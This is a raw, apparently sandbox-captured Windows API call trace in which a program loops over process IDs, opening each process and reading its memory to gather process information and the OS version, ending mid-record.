1 [0234.313] malloc (_Size=0x5e) returned 0x20abc2801b0 [0234.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc2801b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0234.314] free (_Block=0x20abc2801b0) [0234.315] CloseHandle (hObject=0x464) returned 1 [0234.315] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0234.418] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="660") returned 3 [0234.419] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.419] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.432] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x464 [0234.432] GetLastError () returned 0x0 [0234.433] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.433] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.435] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.436] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.437] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.437] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.437] malloc (_Size=0x54) returned 0x20abc2aa7b0 [0234.437] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2aa7b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0234.438] free (_Block=0x20abc2aa7b0) [0234.439] CloseHandle (hObject=0x464) returned 1 [0234.440] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0234.445] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="772") returned 3 [0234.446] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.446] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.459] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x464 [0234.459] GetLastError () returned 0x0 [0234.554] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.554] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.554] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.554] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.555] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc24fc2d0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.556] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.557] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.557] malloc (_Size=0x16) returned 0x20abc281d20 [0234.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc281d20, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281d20*, lpNumberOfBytesRead=0x0) returned 1 [0234.557] free (_Block=0x20abc281d20) [0234.558] CloseHandle (hObject=0x464) returned 1 [0234.558] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0234.562] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="868") returned 3 [0234.563] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.563] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.576] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x464 [0234.576] GetLastError () returned 0x0 [0234.577] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14a30a018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.578] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.579] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.580] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.580] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.580] malloc (_Size=0x58) returned 0x20abc2aa6f0 [0234.580] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2aa6f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa6f0*, lpNumberOfBytesRead=0x0) returned 1 [0234.581] free (_Block=0x20abc2aa6f0) [0234.581] CloseHandle (hObject=0x464) returned 1 [0234.582] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0234.585] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="892") returned 3 [0234.586] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.586] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x464 [0234.599] GetLastError () returned 0x0 [0234.599] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.600] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc818199018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.742] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.742] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.742] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.744] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.746] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.746] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc818199020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.746] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.746] malloc (_Size=0x74) returned 0x20abc284f50 [0234.746] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc284f50, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0234.747] free (_Block=0x20abc284f50) [0234.748] CloseHandle (hObject=0x464) returned 1 [0234.749] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0234.754] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="912") returned 3 [0234.755] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.755] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.775] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x464 [0234.775] GetLastError () returned 0x0 [0234.776] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.776] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc222932018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.873] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.875] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc222932020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.875] malloc (_Size=0x84) returned 0x20abc2831b0 [0234.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2831b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0234.876] free (_Block=0x20abc2831b0) [0234.877] CloseHandle (hObject=0x464) returned 1 [0234.877] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0234.882] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="928") returned 3 [0234.883] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.883] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.900] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x464 [0234.900] GetLastError () returned 0x0 [0234.901] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.901] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2832795018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.902] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.902] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.902] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.904] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.905] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.905] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2832795020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.906] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.906] malloc (_Size=0x86) returned 0x20abc2831b0 [0234.906] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2831b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0234.907] free (_Block=0x20abc2831b0) [0234.908] CloseHandle (hObject=0x464) returned 1 [0234.908] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0235.022] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1008") returned 4 [0235.023] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.023] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.135] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x464 [0235.136] GetLastError () returned 0x0 [0235.136] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.137] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.138] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.140] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.140] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.140] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.140] malloc (_Size=0x62) returned 0x20abc2807d0 [0235.140] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2807d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.141] free (_Block=0x20abc2807d0) [0235.142] CloseHandle (hObject=0x464) returned 1 [0235.143] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0235.148] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="528") returned 3 [0235.149] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.149] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x464 [0235.264] GetLastError () returned 0x0 [0235.265] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.265] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.265] 